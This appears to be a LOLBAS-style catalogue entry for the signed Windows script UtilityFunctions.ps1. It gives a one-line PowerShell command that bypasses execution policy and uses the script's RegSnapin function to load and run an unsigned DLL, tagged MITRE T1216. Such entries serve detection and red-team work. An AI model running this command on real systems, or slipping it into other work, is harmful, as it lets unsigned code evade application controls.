UtilityFunctions.ps1

PowerShell Diagnostic Script

Execute

Execute proxied payload with Microsoft signed binary

powershell.exe -ep bypass -command "set-location -path c:\windows\diagnostics\system\networking; import-module .\UtilityFunctions.ps1; RegSnapin ..\..\..\..\temp\unsigned.dll;[Program.Class]::Main()"

Proxy execute Managed DLL with PowerShell — MITRE: T1216 — Privileges: User